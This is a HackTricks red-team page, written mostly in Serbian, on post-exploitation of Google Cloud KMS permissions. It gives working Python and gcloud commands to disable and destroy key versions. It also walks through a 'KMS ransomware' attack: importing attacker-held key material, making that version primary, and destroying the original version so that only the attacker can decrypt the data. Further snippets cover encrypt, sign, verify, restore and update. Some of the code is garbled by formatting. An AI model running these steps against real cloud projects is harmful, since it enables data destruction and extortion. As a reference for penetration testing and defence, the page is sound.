GCP - KMS Post Exploitation

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

KMS

Osnovne informacije o KMS pronađite u:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

Napadač sa ovom dozvolom može uništiti verziju KMS-a. Da biste to uradili, prvo morate onemogućiti ključ, a zatim ga uništiti:

Onemogući i uništi verziju ključa (Python) ```python # pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Disables a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to disable the key version.

client.update_crypto_key_version(request={‘crypto_key_version’: {‘name’: key_version_name, ‘state’: kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Destroys a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to destroy the key version.

client.destroy_crypto_key_version(request={‘name’: key_version_name})

Example usage

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ # Version number to disable and destroy

Disable the key version

disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

Destroy the key version

destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

</details>

### KMS Ransomware

U AWS-u je moguće potpuno **steal a KMS key** menjajući KMS resource policy i dozvoljavajući da samo attacker's account koristi ključ. Pošto takve resource policies ne postoje u GCP, ovo nije moguće.

Međutim, postoji još jedan način da se izvede globalni KMS Ransomware, koji bi uključivao sledeće korake:

- Kreirati novu **version of the key with a key material** koju je importovao attacker
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • Set it as podrazumevana verzija (za buduće podatke koji će biti enkriptovani)
  • Ponovno enkriptujte starije podatke enkriptovane prethodnom verzijom koristeći novu.
  • Izbrišite KMS ključ
  • Sada samo napadač, koji poseduje originalni ključni materijal, može biti u mogućnosti da dekriptuje enkriptovane podatke

Cloud Storage + CMEK permission model

Kada su objekti u Cloud Storage enkriptovani pomoću CMEK, pozivi za dekriptovanje/enkriptovanje ka KMS-u obavlja servisni agent Cloud Storage-a projekta čija je email adresa service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com), a ne direktno krajnji korisnik koji čita objekat.

To znači da, da biste pročitali nešto enkriptovano CMEK-om:

  • Servisni agent Cloud Storage-a projekta mora imati KMS dozvole nad korišćenim KMS ključem (obično roles/cloudkms.cryptoKeyEncrypterDecrypter).
  • Korisniku su potrebne samo dozvole za čitanje objekta (na primer storage.objects.get). Ne treba mu dozvole nad KMS ključem.

To znači da, da biste kontrolisali pristup enkriptovanim podacima pomoću KMS ključa, potrebno je dodati/ukloniti KMS dozvole servisnom agentu Cloud Storage-a projekta.

Imajte na umu da projektno vezivanje kao što je roles/cloudkms.cryptoKeyEncrypterDecrypter za Storage servisnog agenta i dalje omogućava dekriptovanje ključeva u istom projektu.

Here are the steps to import a new version and disable/delete the older data:

Uvezi novu verziju ključa i izbriši staru verziju ```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.enc

Decrypt it

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Create an Import Job

gcloud kms import-jobs create my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–import-method “rsa-oaep-3072-sha1-aes-256”
–protection-level “software”

Generate key material

openssl rand -out my-key-material.bin 32

Import the Key Material (it’s encrypted with an asymetrict key of the import job previous to be sent)

gcloud kms keys versions import
–import-job my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–algorithm “google-symmetric-encryption”
–target-key-file my-key-material.bin

Get versions

gcloud kms keys versions list
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key

Make new version primary

gcloud kms keys update
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–primary-version 2

Try to decrypt again (error)

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Disable initial version

gcloud kms keys versions disable
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key 1

Destroy the old version

gcloud kms keys versions destroy
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–version 1

</details>

### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`

<details>

<summary>Šifrovanje podataka simetričnim ključem (Python)</summary>
```python
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

Potpisivanje poruke asimetričnim ključem (Python) ```python import hashlib from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): “”“ Sign a message using an asymmetric key version from Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Convert the message to bytes and calculate the digest.

message_bytes = message.encode(‘utf-8’) digest = {‘sha256’: hashlib.sha256(message_bytes).digest()}

Call the API to sign the digest.

sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature

Example usage for signing

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ message = ‘your-message’

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(‘Signature:’, signature)

</details>

### `cloudkms.cryptoKeyVersions.useToVerify`

<details>

<summary>Verifikujte potpis pomoću asimetričnog ključa (Python)</summary>
```python
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)

cloudkms.cryptoKeyVersions.restore

Dozvola cloudkms.cryptoKeyVersions.restore omogućava identitetu da obnovi verziju ključa koja je prethodno bila zakazana za uništavanje ili onemogućena u Cloud KMS, vraćajući je u aktivno i upotrebljivo stanje.

gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

cloudkms.cryptoKeyVersions.update

Dozvola cloudkms.cryptoKeyVersions.update omogućava identitetu da izmeni atribute ili stanje određene verzije ključa u Cloud KMS, na primer tako što će je omogućiti ili onemogućiti.

# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks